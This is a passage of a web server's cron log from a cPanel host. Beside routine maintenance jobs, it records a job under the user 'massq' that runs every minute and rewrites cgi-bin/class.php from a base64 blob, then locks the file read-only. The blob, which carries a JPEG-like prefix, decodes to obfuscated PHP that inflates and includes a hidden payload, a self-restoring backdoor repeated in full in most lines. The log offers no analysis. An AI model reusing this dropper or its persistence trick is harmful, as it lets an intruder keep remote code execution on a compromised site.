pLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:54:01 server CROND[14173]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:55:02 server CROND[14349]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 05:55:02 server CROND[14350]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 05:55:02 server CROND[14351]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:56:01 server CROND[14458]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:57:01 server CROND[14515]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 05:57:01 server CROND[14516]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:58:01 server CROND[14565]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 05:59:01 server CROND[14622]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:00:01 server CROND[14750]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 06:00:01 server CROND[14752]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr  8 06:00:01 server CROND[14755]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:00:01 server CROND[14759]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 06:00:01 server CROND[14756]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 06:00:01 server CROND[14757]: (root) CMD (/usr/local/cpanel/scripts/exim_tidydb > /dev/null 2>&1)
Apr  8 06:01:01 server CROND[14922]: (root) CMD (run-parts /etc/cron.hourly)
Apr  8 06:01:01 server CROND[14925]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:01:01 server run-parts(/etc/cron.hourly)[14922]: starting 0anacron
Apr  8 06:01:01 server run-parts(/etc/cron.hourly)[14935]: finished 0anacron
Apr  8 06:02:01 server CROND[15004]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:03:01 server CROND[15129]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:04:01 server CROND[15185]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:05:01 server CROND[15246]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 06:05:01 server CROND[15248]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 06:05:01 server CROND[15249]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:05:01 server CROND[15250]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 06:06:01 server CROND[15473]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:07:01 server CROND[15529]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 